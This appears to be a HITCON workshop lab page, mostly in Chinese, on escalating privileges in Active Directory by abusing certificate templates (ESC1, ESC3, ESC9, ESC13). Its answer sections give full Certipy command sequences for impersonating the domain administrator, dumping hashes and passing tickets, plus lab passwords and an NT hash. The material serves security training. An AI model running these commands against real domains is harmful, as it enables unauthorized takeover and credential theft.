owned this note
owned this note
Published
Linked with GitHub
# HITCON 101 - Pwning AD with AD CS

::: info
**!!! 簡報更新在 Google Drive 了 !!!**
- https://drive.google.com/drive/folders/1mLIni2KlOWWTRuCUkNEX3FW4caLIAuDY?usp=sharing
如果有問題也可以加我 Facebook 問
- https://www.facebook.com/jimmysured/
:::
::: danger
## 注意事項
請學員自行安裝 VMWare Workstation, 建議課程前先把環境都搭建好
並且課程只提供 x86_64 架構 (大部分的 Windows 筆電 + Intel Mac) 能使用的 ovf
(因為 Windows Server 沒提供 ARM 架構的 image, 所以我也沒辦法建 QQ)
其餘的架構沒有提供
ovf + 簡報 + SharpHound json: (請放心下載, 我沒加料)
- https://drive.google.com/drive/folders/1mLIni2KlOWWTRuCUkNEX3FW4caLIAuDY?usp=sharing
建議學員在自己電腦安裝最新版 BloodHound 並將 Google Drive 提供的 json import 進去
- https://github.com/SpecterOps/BloodHound
議程當天一開始會有約半小時讓大家熟悉環境 + 若想問環境問題可以那時候問
議程步調不會很緊湊, 若沒跟上有很多練習時間可以慢慢熟悉環境以及進行攻擊
:::
:::info
## 系統要求:
- 已安裝 VMWare Workstation
- 只支援 x86_64 (Intel, amd64 ...) 架構 OS (大部分 Windows 及部分 Ubuntu, Mac OS ...)
- RAM 至少 8G
- ovf 打開會是是 DC 6GB + wks01 3GB
- 可以調低 DC 的 memory 到 3GB + processor 6 (3x2), 會有點卡卡的, 但不會影響操作
- 兩台 VM 大小約 24G, 建議 SSD 剩餘約 60G 的空間
:::
## Lab Info
:::info
請先等 DC 開好再開 wks01, 不然 wks01 會無法連接至 AD
:::
- DC's host name
- `iamdc`
- high privilege user
- 可以登入 DC, wks01
- `jlm\administrator` : `P@ssw0rd!`
- normal user
- 攻擊請都以這個使用者進行攻擊
- 只能登入 wks01
- `jlm\iclient` : `P@ssw0rd!`
### Check if Lab Ready
#### DC
```powershell= !
ipconfig
net user /domain
```
#### wks01 (Win10)
```powershell= !
ping <DC IP>
net user /domain
```
#### wks01 `net user /domain` error
- 原因:
- 沒連到 AD
- 解法:
- 將 wks01 IPv4 的 preferred DNS 修改為 DC ip
1. 
2. 
3. 
4. 
## Lab 00
### Goal
1. Certipy 掃描場域
2. re-issue ESC13
3. (optional) 使用 BloodHound 找攻擊路徑
:::spoiler Answer
### Methodology
1. 就直接掃 xD
2. 下面有詳細如何 re-issue 的過程
3. 將 json input 進去, 可以找 ESC1 - ESC13 的 edge
### Walkthrough
1. Certipy 掃描場域
```powershell=
./Certipy.exe find -u iclient@JLM.local -password P@ssw0rd! -dc-ip <DC IP> -stdout
# 如果嫌 output 太長可以將正常的 template 及 admin group 隱藏起來
./Certipy.exe find -u iclient@JLM.local -password P@ssw0rd! -dc-ip <DC IP> -vulnerable -hide-admins -stdout
```
2. re-issue ESC13
- 看情況, 如果大家環境很多問題這個留到最後講
3. (optional) 使用 BloodHound 找攻擊路徑
```cypher=
MATCH p=shortestPath((n)-[:ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13*1..]->(m))
WHERE "admin_tier_0" IN split(m.system_tags, ' ') AND n<>m
RETURN p
LIMIT 1000
```
- 
:::
## Lab 01
### Goal
- 找到符合 ESC1 需求的憑證範本, 並使用低權限使用者申請憑證, 做到提權
:::spoiler Answer
### Methodology
- 使用低權限使用者 iclient, 透過申請 ESC1 提權為 administrator
### Command
```powershell=
.\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM-IAMDC-CA -target IamDC.JLM.local -template ESC1 -upn administrator@JLM.local
# 以下三擇一
# 拿 hash
.\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP>
# 連 ldap, 可以對 ldap 進行屬性修改, 可做到包括 RBCD 等濫用
.\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP> -ldap-shell
# 直接 pass-the-ticket
.\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP> -ptt
```
:::
## Lab 02
### Goal
- 找到符合 ESC3 需求的兩張憑證範本, 並使用低權限使用者申請憑證, 做到提權
:::spoiler Answer
### Methodology
- 使用低權限使用者 iclient, 透過申請 ESC3-1 及 ESC3-2 or User 提權為 administrator
### Command
```powershell=
.\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM-IAMDC-CA -target IamDC.JLM.local -template ESC3-1
# 執行其中一個
# option1, 此 template 是我新建的符合濫用條件的 template
.\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM-IAMDC-CA -target IamDC.JLM.local -template ESC3-2 -on-behalf-of 'jlm\administrator' -pfx 'ESC3-1.pfx'
# option2, 此 template 是 default template
.\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM-IAMDC-CA -target IamDC.JLM.local -template User -on-behalf-of 'jlm\administrator' -pfx 'ESC3-1.pfx'
.\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP>
```
:::
## Lab 03
### Goal
1. 找到符合 ESC9 需求的憑證範本
2. 對一個低權限使用者做 shadow credential 取得到 hash
3. 使用該低權限使用者來申請憑證, 做到提權
:::spoiler Answer
### Methodology
- 先用 certipy 找到符合 ESC9 條件的憑證範本, 並觀察誰可以註冊該憑證範本
- 使用低權限使用者 iclient, 對 ESC9User 做 shadow credential 取得 hash
- 接著使用 ESC9User 的 credential 申請 ESC9 提權為 administrator
### Command
```powershell=
.\Certipy.exe shadow auto -username iclient@JLM.local -p P@ssw0rd! -account ESC9user
.\Certipy.exe account update -username iclient@JLM.local -p P@ssw0rd! -user ESC9user -upn administrator
.\Certipy.exe req -username ESC9user@JLM.local -hashes "a4f49c406510bdcab6824ee7c30fd852" -ca JLM-IAMDC-CA -template ESC9
.\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP>
```
:::
## Lab 04
### Goal
- 找到符合 ESC13 需求的憑證範本, 並使用低權限使用者申請憑證, 做到提權
:::spoiler Answer
### Methodology
- 透過 BloodHound 找到攻擊路徑
- 若沒有 BloodHound 可以透過 recon OIDContainer 的資訊來判斷是否有憑證範本進行 OID Group Link
- 因為神秘因素, BloodHound 不會顯示, 但還是能做攻擊
- 使用低權限使用者 iclient, 透過申請 ESC13 來取得高權限, 有趣的點在於你還是 iclient, 但你的權限等同於 Enterprise Admin
### Command
```powershell=
.\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM IAMDC-CA -target IamDC.JLM.local -template ESC13
.\Certipy.exe auth -pfx iclient.pfx -dc-ip <DC IP> -domain JLM.local
```
:::
## 補充資料
- BloodHound CE Edge
- https://support.bloodhoundenterprise.io/hc/en-us
- ESC1
- [ADCSync](https://github.com/JPG0mez/ADCSync)
- ESC5
- https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c
- https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/
- ESC7
- https://www.tarlogic.com/blog/ad-cs-esc7-attack/
- ESC13
- https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53
- ESC14
- https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9